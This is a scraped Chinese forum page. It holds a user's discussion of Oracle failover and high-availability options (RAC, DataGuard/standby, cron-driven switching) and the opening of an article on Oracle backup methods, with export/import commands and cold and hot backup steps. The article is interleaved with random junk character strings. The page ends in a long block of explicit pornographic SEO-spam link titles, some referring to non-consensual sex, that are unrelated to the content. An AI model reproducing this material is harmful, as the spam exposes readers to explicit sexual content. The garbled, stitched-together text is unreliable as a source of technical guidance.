并非每種情況都能實現(xiàn)自動轉(zhuǎn)到node2上。
第三方HA軟件是靠自己的agent軟件檢測模塊按照自己的故障判斷標(biāo)準(zhǔn)進(jìn)行強(qiáng)制轉(zhuǎn)換的。第一臺肯定不會被訪問到

在幾分鐘之后所有的訪問都會訪問到第二臺剛剛起來的數(shù)據(jù)庫上。
oracle 要想實現(xiàn)與第三方HA軟件一樣的功能,只能與microsoft cluster server一起 在windows平臺
上實現(xiàn)failover.
除此之外,oracle本身的幾種High Available 方案是不提供與此類似的自動failover功能的。
RAC提供并行;
standby/dataguard提供熱備份服務(wù)器(需要人工維護(hù)切換);
AR 可以基本實時提供兩臺數(shù)據(jù)一致的數(shù)據(jù)庫,但是數(shù)據(jù)庫性能受影響。而且客戶端能否在各種各樣的情況下都自

切換到第二臺數(shù)據(jù)庫上我也不知道。(例如listener running, instance down時無法切換到第二臺)
主數(shù)據(jù)庫發(fā)生災(zāi)難,無法訪問的情況下應(yīng)該是能夠切換的,但是有些情況下,只需要修改
tnsname.ora或者停掉node1的listener即可。
以前曾經(jīng)有人在職成網(wǎng)做過 RoseHA+oracle817+Turbolinux的集成方案, 據(jù)說效果也非常差。我所看到我們這里
的人去職成網(wǎng)
進(jìn)行維護(hù)N多次。(N非常大) 所以在集成方案中如果用到了oracle數(shù)據(jù)庫,就準(zhǔn)備好有人長期進(jìn)行維護(hù),主數(shù)據(jù)庫
在萬一情況下發(fā)生災(zāi)難,只要有一臺熱的備用數(shù)據(jù)庫能夠在比較短(電話通知之后1天之內(nèi))的時間內(nèi)繼續(xù)投入使用
就達(dá)到了可用性的目的,不至于主數(shù)據(jù)庫損壞,重新進(jìn)行安裝恢復(fù)占用星期級的時間。
要想達(dá)到failover自動切換,無需人的參予是一種理想化狀態(tài),在unix平臺上無法實現(xiàn),windows平臺上的oracle
failover
我不太清楚,應(yīng)該是能實現(xiàn)這個想法的。
standby備用數(shù)據(jù)庫 是在oracle7.x才開始提供的一項功能,到了oracle8i才能提供read only模式,
到了9i 才使日志應(yīng)用等實現(xiàn)了自動化,但是這個自動化不是故障切換自動化,而是只為了實現(xiàn)熱備份數(shù)據(jù)庫的功
能完善而
增加的一些自動化。 歸根到底,oracle公司開發(fā)這么久,還沒有開發(fā)完善這些高可用方案,只是一直處于完善階
段。
RAC的并行提供服務(wù)我從一些oracle技術(shù)支持那里聽來的說法也是最好一臺用來做讀寫,另一臺專門提供只讀操作
的查詢,
不然仍然影響性能。用來做我們這種failover應(yīng)用的倒不多。
很容易理解的一些稍微復(fù)雜的原理,要想在實際中應(yīng)用是需要大量時間的,里面所涉及到的眾多細(xì)節(jié)如日志增量
等等很麻煩。
就連oracle9.0.0.1在linux下的OUI(oracle univesal installer)
安裝程序在它認(rèn)證的linux上運行也是一堆Bug.
也就是它的jre有毛病,所以我當(dāng)初在mandrake8.1上創(chuàng)建數(shù)據(jù)庫出現(xiàn)了問題,無法進(jìn)行下去。
特定的環(huán)境,特定的問題,很多都是沒有解釋的。這是網(wǎng)上的一個DBA的原話。
網(wǎng)上也有oracle81700升級到81740就出故障的案例。

使用DataGuard(standby) 是不能實現(xiàn)故障的自動切換的,因為據(jù)oracle公司的人說無從判斷究竟算什么樣的故障
才開始進(jìn)行轉(zhuǎn)移,
這個已經(jīng)超出oracle軟件本身的范圍了。或許可以通過自己編寫程序來按照自己的標(biāo)準(zhǔn)來進(jìn)行判斷和轉(zhuǎn)移。
但是DataGuard做到了始終有一臺數(shù)據(jù)庫與主數(shù)據(jù)庫保持一致。在加上客戶端的tnsname.ora的addresslist在一定
程度上
是可以實現(xiàn)部分的故障切換的。
備數(shù)據(jù)庫平時只能處于read only或 recovery manage 模式。
read only 不能應(yīng)用主數(shù)據(jù)庫傳來的重作日志,recovery manage 可以進(jìn)行數(shù)據(jù)恢復(fù),但是不能被客戶端訪問。
備用數(shù)據(jù)庫經(jīng)常處于修復(fù)狀態(tài),因此不能被終端用戶使用,這從管理角度是一種浪費(所以8i開始提供了read
only模式)。
我的想法是
1. 主數(shù)據(jù)庫發(fā)生災(zāi)難,被迫關(guān)閉,XX方面打電話通知過來,我們通過遠(yuǎn)程由人工激活備用的數(shù)據(jù)庫即可。也就是
敲幾行sql命令即可。
完全可以寫成腳本,隨便找一個人執(zhí)行一下即可。
2. 備數(shù)據(jù)庫白天處于read only 模式,可供webserver(也就是客戶端)查詢,晚上12點到1點通過cron
運行在recover managed模式,
將白天主數(shù)據(jù)庫的更改應(yīng)用到備數(shù)據(jù)庫上。
3. 通過cron將備數(shù)據(jù)庫白天處于 primary 模式,可讀可寫,晚上通過腳本改回standby模式,并且應(yīng)用主數(shù)據(jù)庫
的更新。
這樣當(dāng)主數(shù)據(jù)庫down機(jī),客戶端會立刻連到第二臺數(shù)據(jù)庫上,同時也能夠進(jìn)行讀寫。數(shù)據(jù)分歧只有一天,并且達(dá)
到了無人
切換狀態(tài)。
這3種方法,第1種是最好的。
第2種是可行的,是oracle官方認(rèn)可的,有數(shù)據(jù)分歧,和只讀的局限性。
第3種有數(shù)據(jù)分歧并且有或大或小的細(xì)節(jié)問題沒有考慮,只是我的一個臨時想法。
在RAC 和 DataGuard 這兩種方案中,
RAC對硬件和操作系統(tǒng)要求都比較高,維護(hù)也非常復(fù)雜,我們買的vertas 備份軟件也沒有辦法使用冷備的文件。
對人員的素質(zhì)要求也很高。
隨便舉個例子,RedHat AS 2.1 如果認(rèn)不出SCSI driver,就沒法做了。因為oracle9.2i只能用這個操作系統(tǒng)。
( webmail沒有用mandrake8.1而是用mandrake8.2就是這個原因)
不確定因素太多。
在做系統(tǒng)集成方案和買硬件時都要仔細(xì)考慮,買什么樣的服務(wù)器,陣列,網(wǎng)卡,幾個交換機(jī),linuxAS21能否裝上
等等。
而不是隨便寫個雙機(jī)熱備,買兩個服務(wù)器,一個交換機(jī)就行了。
不過這個方案可以用在我們自己的機(jī)房里,提供高性能的oracle數(shù)據(jù)庫服務(wù)。(但是需要比較多的時間來準(zhǔn)備和調(diào)
試)。
我現(xiàn)在只能做到把oracle92i裝起來,具體平時的管理還要靠有數(shù)據(jù)庫使用經(jīng)驗的其他同事來做。
安裝文檔我放在附件里了。
]]>
Oracle安全數(shù)據(jù)系統(tǒng)架構(gòu)全接觸http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2494&Page=1wangxinxin2010-12-11 10:46:03網(wǎng)絡(luò)的發(fā)展,數(shù)據(jù)庫已經(jīng)不再僅僅是那些程序員所專有的話題。而Oracle數(shù)據(jù)庫更是憑借其性能卓越,操作方便靈活的特點,在數(shù)據(jù)庫的市場中已經(jīng)占據(jù)了一席之地。但是同樣隨著網(wǎng)絡(luò)技術(shù)的不斷進(jìn)步,數(shù)據(jù)信息的不斷增加,數(shù)據(jù)安全已經(jīng)不再是以前的“老生長談”,也更不是以前書本上那些“可望不可及”的條條框框。   或許很久以前,大家都覺得Oracle數(shù)據(jù)庫的安全并不存在隱患,因為Oracle公司在去年11月份開始促銷其數(shù)據(jù)庫軟件時提出的口號是“只有Oracle9i能夠做到絕對安全”。但是不管它這么說是為了促銷,還是為了擴(kuò)大知名度,總之伴去年12 月份,英國的安全專家 David Litchfield 發(fā)現(xiàn)的9iAS 中存在的程序錯誤導(dǎo)致的緩沖溢出漏洞以及后來,PenTest Limited 和 eEye Digital Security 各自提出了一個小的漏洞,所有使用Oracle公司產(chǎn)品的人都不由地緊張了原本松弛的大腦--這個對于用戶來說,畢竟關(guān)系到了自己的“身家性命”。/ f. S) s+ B. K* m# G2 K
  下面筆者將帶著大家走進(jìn)Oracle數(shù)據(jù)安全的世界。由于筆者水平有限,所以不足之處在所難免,望大家不吝賜教。4 F4 l1 d7 c& u
  (一)Oracle數(shù)據(jù)庫的一些基本常識# H( d, J; _& Q* x- }6 }
  這里僅僅是為了以后的安全奠定一些基礎(chǔ),因為我們后面要用到它們。
) e4 A2 J5 j( a; y3 o  1.Oracle所包含的組件:
( k' I! ?' c% u2 w1 [  在 Oracle,數(shù)據(jù)庫是指整個 Oracle RDBMS 環(huán)境,它包括以下組件:
  f6 I5 L; ^8 Y  ·Oracle 數(shù)據(jù)庫進(jìn)程和緩沖(實例)。: a& @0 Z1 G: H& }2 z3 k
  ·SYSTEM 表空間包含一個集中系統(tǒng)類目,它可以由一個或多個數(shù)據(jù)文件構(gòu)成。" _7 `% C, c  x8 F) p
  ·其它由數(shù)據(jù)庫管理員 (DBA)(可選)定義的表空間,每個都由一個或多個數(shù)據(jù)文件構(gòu)成。
( D+ H4 s& ?0 O" l  ·兩個以上的聯(lián)機(jī)恢復(fù)日志。
  k) y9 {( |7 N7 w  A' p  ·歸檔恢復(fù)日志(可選)。1 h4 Y" ]; n1 c/ x/ N  g
  ·其它文件(控制文件、Init.ora、Config.ora 等)。1 _8 D1 R' j- X$ b! Z
  每個 Oracle 數(shù)據(jù)庫都在一個中央系統(tǒng)類目和數(shù)據(jù)字典上運行,它位于SYSTEM 表空間。
2 ?7 e) o. J9 ]. |' K  2.關(guān)于“日志”: r: w2 d1 H$ R; F5 q
  Oracle數(shù)據(jù)庫使用幾種結(jié)構(gòu)來保護(hù)數(shù)據(jù):數(shù)據(jù)庫后備、日志、回滾段和控制文件。下面我們將大體上了解一下作為主要結(jié)構(gòu)之一的“日志”:& |. {! }* [! o1 ^/ x( y0 j" _' r
  每一個Oracle數(shù)據(jù)庫實例都提供日志,記錄數(shù)據(jù)庫中所作的全部修改。每一個運行的Oracle數(shù)據(jù)庫實例相應(yīng)地有一個在線日志,它與Oracle后臺進(jìn)程LGWR一起工作,立即記錄該實例所作的全部修改。歸檔(離線)日志是可選擇的,一個Oracle數(shù)據(jù)庫實例一旦在線日志填滿后,可形成在線日志歸檔文件。歸檔的在線日志文件被唯一標(biāo)識并合并成歸檔日志。
7 F. n; f, n6 Z* C  ·關(guān)于在線日志:一個Oracle數(shù)據(jù)庫的每一實例有一個相關(guān)聯(lián)的在線日志。一個在線日志由多個在線日志文件組成。在線日志文件(online redo log file)填入日志項(redo entry),日志項記錄的數(shù)據(jù)用于重構(gòu)對數(shù)據(jù)庫所作的全部修改。1 q& `; X. |, j
  ·關(guān)于歸檔日志:Oracle要將填滿的在線日志文件組歸檔時,則要建立歸檔日志(archived redo log)。其對數(shù)據(jù)庫備份和恢復(fù)有下列用處:
, [9 a& p- h* u* ^6 M  <1>數(shù)據(jù)庫后備以及在線和歸檔日志文件,在操作系統(tǒng)和磁盤故障中可保證全部提交的事物可被恢復(fù)。
) e5 u8 A( C4 C/ i/ g" \: e" c  <2>在數(shù)據(jù)庫打開和正常系統(tǒng)使用下,如果歸檔日志是永久保存,在線后備可以進(jìn)行和使用。
; I$ ^* \0 l% C' @$ ^% x; t  數(shù)據(jù)庫可運行在兩種不同方式下:NOARCHIVELOG方式或ARCHIVELOG 方式。數(shù)據(jù)庫在NOARCHIVELOG方式下使用時,不能進(jìn)行在線日志的歸檔。如果數(shù)據(jù)庫在ARCHIVELOG方式下運行,可實施在線日志的歸檔。# s5 z) u; _9 B! j2 M' Q9 A* T% c" \
  3.物理和邏輯存儲結(jié)構(gòu):  a) J5 I  y4 F( F4 O
  Oracle RDBMS是由表空間組成的,而表空間又是由數(shù)據(jù)文件組成的。表空間數(shù)據(jù)文件被格式化為內(nèi)部的塊單位。塊的大小,是由DBA在Oracle第一次創(chuàng)建的時候設(shè)置的,可以在512到8192個字節(jié)的范圍內(nèi)變動。當(dāng)一個對象在Oracle表空間中創(chuàng)建的時候,用戶用叫做長度的單位(初始長度((initial extent)、下一個長度(next extent)、最小長度(min extents)、以及最大長度(max extents))來標(biāo)明該對象的空間大小。一個Oracle長度的大小可以變化,但是要包含一個由至少五個連續(xù)的塊構(gòu)成的鏈。; Z% |* U; q) T9 c# \
  4.Oracle與Microsoft SQL Server比較下的聯(lián)網(wǎng)協(xié)議:
3 z- x, H2 n1 G7 O! K# d  (二)Oracle數(shù)據(jù)安全的維護(hù)0 k: W: D4 A, I' e) ~. y
  記得某位哲學(xué)家說過:“事物的變化離不開內(nèi)因和外因。”那么對于Oracle數(shù)據(jù)安全這個話題而言,也勢必分為“內(nèi)”和“外”兩個部分。那么好,我們就先從“內(nèi)”開始說起:. x' A9 J  Q& U5 L
  §1.從Oracle系統(tǒng)本身說起
3 w5 _) r+ G. x' b# M  t5 Y5 d( Y  我們先拋開令人聞風(fēng)色變的“hacker”和其他一些外部的原因,先想一下我們的數(shù)據(jù)庫。什么硬盤損壞,什么軟件受損,什么操作事物……一系列由于我們的“疏忽”而造成的系統(tǒng)問題就完全可以讓我們辛苦建立的數(shù)據(jù)庫中的數(shù)據(jù)一去不復(fù)返。那么,我們就先從自己身上找找原因吧。0 O5 `" y+ L& s# a
  【一】解決系統(tǒng)本身問題的方法--數(shù)據(jù)庫的備份及恢復(fù)
5 P' n9 A. u- _5 _* t+ ?  ·數(shù)據(jù)庫的備份:
& U, w! H0 |4 ?& l! ^8 i. l  關(guān)于Oracle數(shù)據(jù)庫的備份,標(biāo)準(zhǔn)地有三中辦法:導(dǎo)出/導(dǎo)入(Export/Import)、冷備份、熱備份。導(dǎo)出備份是一種邏輯備份,冷備份和熱備份是物理備份。/ m. {* O+ I5 M/ X
  <1>導(dǎo)出/導(dǎo)入(Export/Import)4 X: Z5 m4 S4 T( G
  利用Export可將數(shù)據(jù)從數(shù)據(jù)庫中提取出來,利用Import則可將提取出來的數(shù)據(jù)送回Oracle數(shù)據(jù)庫中去。6 y, B* C% }8 f+ @) p
  a.簡單導(dǎo)出數(shù)據(jù)(Export)和導(dǎo)入數(shù)據(jù)(Import)1 x& ?9 Z) [$ @+ }% B
  Oracle支持三種類型的輸出:
7 [9 z0 ~, ?: r' W$ w  (1)表方式(T方式),將指定表的數(shù)據(jù)導(dǎo)出。
! |5 z  J( }0 L3 m" B& U  (2)用戶方式(U方式),將指定用戶的所有對象及數(shù)據(jù)導(dǎo)出。: s+ a" r7 U' J" C5 p
  (3)全庫方式(Full方式),將數(shù)據(jù)庫中的所有對象導(dǎo)出。
" d' j# E. I' j% c  數(shù)據(jù)導(dǎo)出(Import)的過程是數(shù)據(jù)導(dǎo)入(Export)的逆過程,它們的數(shù)據(jù)流向不同。
6 V, j7 @% C+ S, }! H  ?, W4 L/ N4 u  b.增量導(dǎo)出/導(dǎo)入2 l" A% u) i$ m- F  T5 ?
  增量導(dǎo)出是一種常用的數(shù)據(jù)備份方法,它只能對整個數(shù)據(jù)庫來實施,并且必須作為SYSTEM來導(dǎo)出。在進(jìn)行此種導(dǎo)出時,系統(tǒng)不要求回答任何問題。導(dǎo)出文件名缺省為export.dmp,如果不希望自己的輸出文件定名為export.dmp,必須在命令行中指出要用的文件名。
/ C& h* K- M) R, B  增量導(dǎo)出包括三個類型:, v- I# V3 }0 E, O
  (1)“完全”增量導(dǎo)出(Complete)6 r. z- x! e. D# X
  即備份整個數(shù)據(jù)庫,比如:
5 x; E+ j7 K, d  {$ q) j  $exp system/manager inctype=complete file=990702.dmp. `* o) V: ^: N9 i
  (2)“增量型”增量導(dǎo)出4 _% A+ H9 T; I% C9 W7 m4 |
  備份上一次備份后改變的數(shù)據(jù)。比如:! O8 c* y. V6 o( L1 v
  $exp system/manager inctype=incremental file=990702.dmp5 O6 z) y& S% x  r8 @3 N' i
  (3)“累計型”增量導(dǎo)出(Cumulative)
+ C0 W. A( D. v8 b- l+ n  累計型導(dǎo)出方式只是導(dǎo)出自上次“完全” 導(dǎo)出之后數(shù)據(jù)庫中變化了的信息。比如:1 ]1 b* b8 j& G% ^  @3 D/ Z% g
  $exp system/manager inctype=cumulative file=990702.dmp
9 u$ `: X6 A- O  數(shù)據(jù)庫管理員可以排定一個備份日程表,用數(shù)據(jù)導(dǎo)出的三個不同方式合理高效地完成。比如數(shù)據(jù)庫的備份任務(wù)可作如下安排:- J- K# X' I$ M8 d) r) h/ j
  ·星期一:完全導(dǎo)出(A)
3 c& d. m6 l! }/ _" Y, Y2 M  F  ·星期二:增量導(dǎo)出(B)
7 h6 q3 r7 z+ J: w1 W( r5 l  ·星期三:增量導(dǎo)出(C)
. a1 b2 U8 j" g( `3 |  ·星期四:增量導(dǎo)出(D)
9 v! n1 K& i1 N* N& d) x- L$ I6 U  ·星期五:累計導(dǎo)出(E)# b! [! A( X0 S
  ·星期六:增量導(dǎo)出(F)
" ~$ T! r6 N# T, Z6 H  ·星期日:增量導(dǎo)出(G), U  s/ m" P1 w+ Y& n
  如果在星期日,數(shù)據(jù)庫遭到意外破壞,數(shù)據(jù)庫管理員可按以下步驟來恢復(fù)數(shù)據(jù)庫:
0 F( N! ?; v0 X  O0 c  第一步:用命令CREATE DATABASE重新生成數(shù)據(jù)庫結(jié)構(gòu);
2 y1 t3 o2 c( f: S6 t  S$ |  第二步:創(chuàng)建一個足夠大的附加回段。, |2 T4 z" h: S2 w: p, e
  第三步:完全增量導(dǎo)入A:
' T1 ^4 N/ @7 v" Y: N; O  $imp system./manager inctype= RECTORE FULL=Y FILE=A5 ]2 b5 R0 j* }3 A, E3 l
  第四步:累計增量導(dǎo)入E:
$ P( L* g% g9 [2 Q$ \7 B! q! k: `  $imp system/manager inctype= RECTORE FULL=Y FILE =E
) D. q" `2 f$ n2 S4 P% S  第五步:最近增量導(dǎo)入F:
/ {0 T0 c! e, r- a' ]$ B* }' ?' y  $imp system/manager inctype=RESTORE FULL=Y FILE=F5 l& u1 V3 `2 ~& J! \
  <2>冷備份' ]. d+ {4 ]) B+ b! G& f* U8 r
  冷備份發(fā)生在數(shù)據(jù)庫已經(jīng)正常關(guān)閉的情況下,當(dāng)正常關(guān)閉時會提供給我們一個完整的數(shù)據(jù)庫。冷備份是將關(guān)鍵性文件拷貝到另外位置的一種說法。對于備份Oracle信息而言,冷備份是最快和最安全的方法。冷備份的優(yōu)點是:' h* P- x8 M# s( Z
  ·是非常快速的備份方法(只需拷貝文件): \9 _0 }1 x4 c3 q% j
  ·容易歸檔(簡單拷貝即可); L! ^* N, K7 f- E3 q
  ·容易恢復(fù)到某個時間點上(只需將文件再拷貝回去)5 Y$ F0 D3 a  A/ \! e5 Z
  ·能與歸檔方法相結(jié)合,作數(shù)據(jù)庫“最新狀態(tài)”的恢復(fù)。
& f3 k9 m2 ~' F1 H( C) K  ·低度維護(hù),高度安全。
( W2 M8 a( X. S& O5 Y  但冷備份也有如下不足:
4 H& E$ T0 @+ O: v! }# L  ·單獨使用時,只能提供到“某一時間點上”的恢復(fù)。
+ W) q8 E1 ~. C3 ]  ·在實施備份的全過程中,數(shù)據(jù)庫必須要作備份而不能作其它工作。也就是說,在冷備份過程中,數(shù)據(jù)庫必須是關(guān)閉狀態(tài)。* d# l/ N' k) \
  ·若磁盤空間有限,只能拷貝到磁帶等其它外部存儲設(shè)備上,速度會很慢。) ?; ~  [( k! g0 }0 O( B
  ·不能按表或按用戶恢復(fù)。, z% w1 h) O/ S/ F
  如果可能的話(主要看效率),應(yīng)將信息備份到磁盤上,然后啟動數(shù)據(jù)庫(使用戶可以工作)并將所備份的信息拷貝到磁帶上(拷貝的同時,數(shù)據(jù)庫也可以工作)。冷備份中必須拷貝的文件包括:! [8 ]% J8 J% F$ s& F* _! t6 ~, U" I
  ·所有數(shù)據(jù)文件! |3 Q! [) z" k' e, B  ^# u
  ·所有控制文件* Q0 a  G9 b1 i1 }% L6 E
  ·所有聯(lián)機(jī)REDO LOG文件9 c: d. p1 g+ N( v- [- Z
  ·Init.ora文件(可選)* H7 V! Z  h, r7 ?, B3 n$ }5 {
  值得注意的是冷備份必須在數(shù)據(jù)庫關(guān)閉的情況下進(jìn)行,當(dāng)數(shù)據(jù)庫處于打開狀態(tài)時,執(zhí)行數(shù)據(jù)庫文件系統(tǒng)備份是無效的0 w+ |! d% t* r9 e* Y) M' F! U
  下面是做冷備份的完整例子:
  J4 y9 K7 Z+ q  {  (1) 關(guān)閉數(shù)據(jù)庫$sqldba lmode=y+ r3 i  h: ?1 B8 k6 D+ p4 ~
  SQLDBA >connect internal;
9 v* S) y. V) ^4 }  SQLDBA >shutdown normal;
8 Q6 i% c# X2 v  (2) 用拷貝命令備份全部的時間文件、重做日志文件、控制文件、初始化參數(shù)文件
' ~/ i( c8 t! m4 I. T% ^4 i  SQLDBA >! cp < file > < backup directory >: k5 R$ X5 i  r8 T
  (3) 重啟Oracle數(shù)據(jù)庫
( E" R: K, ]6 O5 O  D  $sqldba lmode=y" I* g" I9 P$ i/ F& Y
  SQLDBA >connect internal;' ]2 ]& G' }0 b4 @1 M! e- G
  SQLDBA >startup;  _5 @4 b1 Y9 B: B* C6 b8 f, y! _8 f
  <3>熱備份
1 L/ ?' M) `7 \  熱備份是在數(shù)據(jù)庫運行的情況下,采用archivelog mode方式備份數(shù)據(jù)的方法。所以,如果你有昨天夜里的一個冷備份而且又有今天的熱備份文件,在發(fā)生問題時,就可以利用這些資料恢復(fù)更多的信息。熱備份要求數(shù)據(jù)庫在Archivelog方式下操作,并需要大量的檔案空間。一旦數(shù)據(jù)庫運行在archivelog狀態(tài)下,就可以做備份了。熱備份的命令文件由三部分組成:
+ Q0 H! @" m+ `: _) M& L  1.數(shù)據(jù)文件一個表空間一個表空間地備份。4 C8 |, p7 p1 v; [1 O, p% E! T
  (1)設(shè)置表空間為備份狀態(tài)
* h6 A  l  {% \* g: ^/ J  (2)備份表空間的數(shù)據(jù)文件4 U5 W- b, l7 e* I/ n7 C' k
  (3)恢復(fù)表空間為正常狀態(tài)+ Z! A' _1 z& e
  2.備份歸檔log文件。
% K( H2 z# ~, U* s  (1)臨時停止歸檔進(jìn)程
, M: v& B& k6 J( a. v4 K- ^  (2)log下那些在archive redo log目標(biāo)目錄中的文件
1 y9 h3 R/ v" F' A3 v4 m  y0 P9 P* a  (3)重新啟動archive進(jìn)程4 P  O8 I6 t# `: E' b
  (4)備份歸檔的redo log 文件
; F& @+ V! O4 V: m  U" X7 E, `, `- F  3.用alter database backup controlfile命令來備份拷貝文件
( x3 v" i+ l9 H  熱備份的優(yōu)點是:
]]>
主站蜘蛛池模板: 欧美黄色免费观看 | 国产女人成人精品a区 | av大片在线| 欧美日韩国产成人在线 | 色av性av丰满av国产 | 日本精品久久久久久久 | 欧美艳星nikki激情办公室 | 久青草影院 | 伊人无码精品久久一区二区 | 欧美www.| 黄色片视频在线免费观看 | 久久精品导航 | 免费无码一区无码东京热 | 国产精品人人妻人人爽麻豆 | 国产精品成人av在线观看春天 | 婷婷在线免费视频 | 日韩吃奶摸下aa片免费观看 | 日本xxxx丰满人妖学校 | 伊人色综合久久久天天蜜桃 | 久久久久久蜜桃 | 国产精品久久久久久无毒偷食禁果 | 午夜人性色福利无码视频在线观看 | 亚洲第一av网站 | 99精品视频在线观看免费蜜桃 | 综合精品久久 | 狼人视频国产在线视频www色 | 国精产品999一区二区三区有限 | 久久久久久久岛国免费观看 | 日韩三级一区 | 午夜成年人 | 国产99对白在线播放 | 中文字幕一本一二本迫 | 天堂av无码大芭蕉伊人av不卡 | 国产亚洲中文日本不卡二区 | 国产精品偷伦视频免费还看旳 | 日韩城人免费 | 热re91久久精品国99热蜜臀 | 欧美日激情日韩精品嗯 | 亚洲天堂网在线观看视频 | 性调教炮机捆绑爆浆喷水 | 亚州春色 | 天天躁日日躁狠狠躁喷水软件 | 日韩精品在线不卡 | ⅹxxxx69中国大学生hd | 少妇群交换bd高清国语版 | 丰满多毛的大隂户毛茸茸 | 亚洲老鸭窝一区二区三区 | 日日摸夜夜添人人 | 秋霞国产午夜精品免费视频 | 国产成人精品亚洲日本在线 | 无码专区手机在线播放 | 中文字幕aⅴ人妻一区二区 99热最新精品 | 蜜臀99久久精品久久久久小说 | 久久无码中文字幕免费影院蜜桃 | 在线观看色视频 | 亚洲日韩午夜av不卡在线观看 | 99国产超薄肉色丝袜交足的后果 | 国产小视频在线观看 | 色欲av无码无在线观看 | 亚洲熟妇无码av在 | 99久久爱re热6在播放 | 日本强伦姧人妻久久影片 | 无码成人1000部免费视频 | 亚洲youwu永久无码精品 | 精品国产乱码久久久久久竹菊影视 | 最新中文字幕av无码专区不 | 国产乱人伦中文无无码视频试看 | 成人美女毛片 | 久久精彩免费视频 | 欧美综合乱图图区乱图图区 | 亚洲无砖码 | av在线男人天堂 | 亚洲三级久久 | 亚洲高清在线观看视频 | 成人亚洲精品久久99狠狠 | 免费av不卡 | 国产福利无码一区在线 | 久草免费网站 | 国产 日韩 欧美 成人 | 自拍视频国产 | 九九视频免费在线观看 | 亚洲精品欧美综合四区 | 国产无遮挡免费观看视频网站 | 欧美兽交xxxx×视频 | 久久国产精品久久久久久 | 91超碰九色 | 亚洲国产精品日韩av不卡在线 | 制服.丝袜.亚洲.中文.综合 | 狼人视频国产在线视频www色 | 久久这里只有精品99 | 7777久久亚洲中文字幕 | 人妻无码一区二区三区四区 | 日韩精品在线一区二区三区 | 欧美极品少妇无套实战 | 欧美日韩亚洲三区 | 最近中文字幕在线中文高清版 | 999国产精品 | 无码成人1000部免费视频 | 亚洲综合在线第一页 | 绯色av粉嫩av蜜臀av | 人妻少妇乱子伦无码视频专区 | 黄色大片一区二区三区 | 国产av电影区二区三区曰曰骚网 | 99色播 | 夜夜添夜夜添夜夜摸夜夜摸 | 人妻精品久久久久中文字幕 | 射射av| 中出在线观看 | 动漫人妻h无码中文字幕 | 日韩欧美在线观看一区二区 | 欧美香蕉网 | 丰满少妇被粗大的猛烈进出视频 | av在线天堂av无码舔b | 欧美一进一出抽搐大尺度视频 | 日韩毛片免费无码无毒视频观看 | 免费大片av手机看片不卡 | 50岁熟妇的呻吟声对白 | 亚洲红杏成在人线免费视频 | 挺进朋友人妻雪白的身体韩国电影 | 国产欧美一区二区精品婷 | 免费中文熟妇在线影片 | 狠狠五月深爱婷婷网 | 69亚洲精品 | 福利一区二区在线 | 38激情网 | 美女激情网站 | av永久免费网站在线观看 | 国产99视频精品免费观看9 | 亚洲精品国产自在久久 | 日本va欧美va欧美va精品 | 欧美日韩黄 | 99久久影视| 男人的天堂中文字幕熟女人妻 | 青青青爽 | 成人午夜做爰视频免费看 | 18禁毛片 | 午夜精品一区二区三区在线视频 | 老司机久久99久久精品播放 | 97超碰超碰 | 黄色在线观看网址 | 亚洲精品亚洲人成在线观看麻豆 | 亚洲成年看片在线观看 | 天天干天操 | 天天综合永久入口 | а√天堂资源中文在线官网九色 | 日韩在线无 | 久久精品一区二区视频 | 精品在线一区二区三区 | 精品精品国产男人的天堂 | 免费色网 | 亚洲一区二区精品在线 | 欧美一区二区三区另类 | 亚洲欧美成人 | 肥臀浪妇太爽了快点再快点 | 国产精品18久久久久久欧美 | 色欲天天婬色婬香综合网 | 色狠狠综合网 | 91香蕉导航 | 一区二区三区在线免费观看 | 国产欧美另类久久精品蜜芽 | 韩日午夜在线资源一区二区 | 日本一区二区三区免费播放视频站 | 国产日韩一区二区三区免费高清 | 亚洲成av人片一区二区梦乃 | 毛片在线网址 | 国产精品无码专区在线观看 | 在线观看mv的中文字幕网站 | 欧美视频一区二区三区 | 日本韩国一区二区在线观看 | 国产精品自在线拍国产 | 狼友av永久网站免费观看孕交 | 78成人天堂久久成人 | 国产艳妇av视国产精选av一区 | 早起邻居人妻奶罩太松av | 天天综合干 | 午夜精品久久久久久久99热浪潮 | 亚洲夜夜性无码 | 日本一区二区三区四区在线观看 | 久久久久久综合岛国免费观看 | 亚洲免费不卡 | 国产av午夜精品一区二区入口 | 欧美性大战久久久久久久蜜桃 | 色播综合| 日韩一区二区三区在线播放 | 99久re热视频这里只有精品6 | 国产精品a免费一区久久电影 | 综合色一色综合久久网 | 国产老太睡小伙子视频 | 国内综合精品午夜久久资源 | 日产精品高潮呻吟av久久 | 荫蒂被男人添的好舒服爽免费视频 | 国内精品国产三级国产aⅴ久 | 久久久亚洲欧洲日产国码二区 | 91精品又粗又猛又爽 | 天天干夜夜弄 | 亚洲电影区图片区小说区 | 狠狠操操操 | 色妞综合网 | 伊人久久大香线蕉综合av | 手机看片福利一区 | 97超级碰碰| 久久久久亚洲精品乱码按摩 | av网站在线免费看 | 亚洲精品久久五月天堂 | 成人麻豆精品激情视频在线观看 | 一区二区三区在线 | 欧洲 | 国产网站黄 | 2021精品国夜夜天天拍拍 | 国产日产欧美a级毛片 | 在线看你懂得 | 91直接看| 欧洲一区在线 | 国产精品视频男人的天堂 | 在线观看中文字幕网站 | 欧美日韩精品一区二区三区高清视频 | www.亚洲色图 | 中文字幕人乱码中文字幕 | 免费无码无遮挡裸体视频 | 亚洲伊人久久成人综合网 | 中文字幕人妻丝袜成熟乱 | 97日日碰人人模人人澡分享吧 | 四色成人av永久网址 | 色爱区综合五月激情 | av亚洲午夜网站福利天堂 | 日韩美女爱爱 | 成人午夜福利视频镇东影视 | 奇米影视在线视频 | 国产卡一卡二卡三精品 | 炮机高潮痉挛哭叫失禁小说 | 国产69精品久久久久999小说 | 大香伊人久久精品一区二区 | 免费三片在线视频 | 国语精品自产拍在线观看网站 | 亚洲精品乱码久久久久久蜜桃麻豆 | 亚洲综合一区二区三区 | 日韩少妇内射免费播放18禁裸乳 | 天堂资源中文在线 | 色噜噜狠狠狠综合曰曰曰88av | 亚洲成人精品在线播放 | 亚洲中文字慕日产2021 | 久久免费精品 | 亚洲天堂免费观看 | 网站一区二区三区 | 免费人成在线观看网站品善网 | 日韩经典中文字幕 | 激情五月婷婷基地 | 久久天天躁狠狠躁夜夜婷 | 国产一区二区免费 | 四虎影视久久久免费观看 | 天堂aⅴ无码一区二区三区 好屌草这里只有精品 | 国产湖南美女精品毛片 | 亚洲 自拍 欧美 小说 综合 | 黑白配在线观看免费观看 | av在线中文字幕不卡电影网 | 韩国中文字幕在线观看 | 亚洲色图欧美 | 人人爽人人添人人超 | 欧美在线视频日韩 | 